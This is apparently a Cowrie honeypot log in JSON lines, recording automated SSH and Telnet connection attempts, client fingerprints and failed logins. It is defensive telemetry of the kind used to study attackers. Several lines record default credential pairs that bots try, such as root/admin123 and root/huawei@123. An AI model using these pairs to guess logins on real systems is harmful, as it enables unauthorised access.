{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:59.860543Z","src_ip":"45.153.34.114","session":"85a2850d9ad0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:59.943787Z","src_ip":"45.153.34.114","session":"85a2850d9ad0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"mcserver","message":"login attempt [mcserver/mcserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:04:00.201015Z","src_ip":"45.153.34.114","session":"85a2850d9ad0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:04:01.289433Z","src_ip":"45.153.34.114","session":"85a2850d9ad0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":33348,"dst_ip":"159.203.135.109","dst_port":22,"session":"5748516808d1","protocol":"ssh","message":"New connection: 103.75.199.4:33348 (159.203.135.109:22) [session: 5748516808d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:04:12.163687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:04:12.169999Z","src_ip":"103.75.199.4","session":"5748516808d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:04:12.261088Z","src_ip":"103.75.199.4","session":"5748516808d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ossuser","password":"Changeme_123","message":"login attempt [ossuser/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:04:12.533922Z","src_ip":"103.75.199.4","session":"5748516808d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:04:13.626795Z","src_ip":"103.75.199.4","session":"5748516808d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.254.177.194","src_port":47932,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5ee594f6e4f","protocol":"ssh","message":"New connection: 47.254.177.194:47932 (10.17.0.5:22) [session: a5ee594f6e4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:04:21.287444Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:04:21.394633Z","src_ip":"47.254.177.194","session":"a5ee594f6e4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.254.177.194","src_port":47946,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c3cb1fbe62d","protocol":"ssh","message":"New connection: 47.254.177.194:47946 (10.17.0.5:22) [session: 8c3cb1fbe62d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:04:28.387086Z"}
{"eventid":"cowrie.client.version","version":"","message":"Remote SSH version: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:04:28.390823Z","src_ip":"47.254.177.194","session":"8c3cb1fbe62d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:04:28.394185Z","src_ip":"47.254.177.194","session":"8c3cb1fbe62d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":34994,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ef3cbd80c4c","protocol":"ssh","message":"New connection: 103.75.199.4:34994 (159.203.135.109:22) [session: 1ef3cbd80c4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:04:34.101065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:04:34.105820Z","src_ip":"103.75.199.4","session":"1ef3cbd80c4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:04:34.197293Z","src_ip":"103.75.199.4","session":"1ef3cbd80c4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe!@","message":"login attempt [root/123qwe!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:04:34.470926Z","src_ip":"103.75.199.4","session":"1ef3cbd80c4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:04:35.565186Z","src_ip":"103.75.199.4","session":"1ef3cbd80c4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":57198,"dst_ip":"159.203.135.109","dst_port":22,"session":"39cbaa928373","protocol":"ssh","message":"New connection: 103.75.199.4:57198 (159.203.135.109:22) [session: 39cbaa928373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:04:55.985419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:04:55.989586Z","src_ip":"103.75.199.4","session":"39cbaa928373","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:04:56.080443Z","src_ip":"103.75.199.4","session":"39cbaa928373","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123","message":"login attempt [root/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:04:56.353432Z","src_ip":"103.75.199.4","session":"39cbaa928373","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:04:57.446909Z","src_ip":"103.75.199.4","session":"39cbaa928373","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.187.252.174","src_port":46486,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa63bd97e5f0","protocol":"telnet","message":"New connection: 109.187.252.174:46486 (10.17.0.5:23) [session: fa63bd97e5f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:05:09.653646Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.217.149.2","src_port":48216,"dst_ip":"159.203.135.109","dst_port":22,"session":"155162fc7070","protocol":"ssh","message":"New connection: 85.217.149.2:48216 (159.203.135.109:22) [session: 155162fc7070]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:05:15.945187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:05:15.949655Z","src_ip":"85.217.149.2","session":"155162fc7070","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bc3aee897af7d3feb9fc37b89c7d15c9","hasshAlgorithms":"curve25519-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bc3aee897af7d3feb9fc37b89c7d15c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:05:15.968079Z","src_ip":"85.217.149.2","session":"155162fc7070","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:05:15.994676Z","src_ip":"85.217.149.2","session":"155162fc7070","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":54384,"dst_ip":"159.203.135.109","dst_port":22,"session":"edb501da630e","protocol":"ssh","message":"New connection: 103.75.199.4:54384 (159.203.135.109:22) [session: edb501da630e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:05:17.772987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:05:17.777631Z","src_ip":"103.75.199.4","session":"edb501da630e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:05:17.868998Z","src_ip":"103.75.199.4","session":"edb501da630e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei@123","message":"login attempt [root/huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:05:18.144045Z","src_ip":"103.75.199.4","session":"edb501da630e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:05:19.238301Z","src_ip":"103.75.199.4","session":"edb501da630e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.65.107.14","src_port":56566,"dst_ip":"10.17.0.5","dst_port":22,"session":"b11e9f450911","protocol":"ssh","message":"New connection: 185.65.107.14:56566 (10.17.0.5:22) [session: b11e9f450911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:05:21.671100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:05:21.675491Z","src_ip":"185.65.107.14","session":"b11e9f450911","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:05:21.787094Z","src_ip":"185.65.107.14","session":"b11e9f450911","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1a:8b:6f:28:73:8c:29:86:a1:9e:3a:b2:8f:e8:a5:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1+XgFi7NJ4EmTBxnDhPxNxEMlXT/Xafr2aqr3zjKdi31U/enSpTifjo3/e/Q3Hq9rbP0ge1JrBsbZSBJqms5gVYJv4hwfRyBHHKZh3ZE1iDv0mWNWVUmTSCIPPCBImTt9JVbY9yXXK5PLxo4WFBbTF/80R7ZqEftfvJn2VN58hkSXwaDt4CTcwCPAdaFWqcsEj97IPKzyvwMc5f/NZZdGPftdDzFwvC5wO6wLLBC6ntS/+wcD9/ubbf9C2efOn71c3Si5sY7KkF/Pe39jWVcWPY3BH6tTB0yfzfDfXTX/FSLq7T3jeAnogV8vuZv38kK0Sa+vOUnU0DsZ5uW8sJFz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1a:8b:6f:28:73:8c:29:86:a1:9e:3a:b2:8f:e8:a5:7a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:05:22.320338Z","src_ip":"185.65.107.14","session":"b11e9f450911","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1a:8b:6f:28:73:8c:29:86:a1:9e:3a:b2:8f:e8:a5:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1+XgFi7NJ4EmTBxnDhPxNxEMlXT/Xafr2aqr3zjKdi31U/enSpTifjo3/e/Q3Hq9rbP0ge1JrBsbZSBJqms5gVYJv4hwfRyBHHKZh3ZE1iDv0mWNWVUmTSCIPPCBImTt9JVbY9yXXK5PLxo4WFBbTF/80R7ZqEftfvJn2VN58hkSXwaDt4CTcwCPAdaFWqcsEj97IPKzyvwMc5f/NZZdGPftdDzFwvC5wO6wLLBC6ntS/+wcD9/ubbf9C2efOn71c3Si5sY7KkF/Pe39jWVcWPY3BH6tTB0yfzfDfXTX/FSLq7T3jeAnogV8vuZv38kK0Sa+vOUnU0DsZ5uW8sJFz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:05:22.323929Z","src_ip":"185.65.107.14","session":"b11e9f450911","protocol":"ssh"}
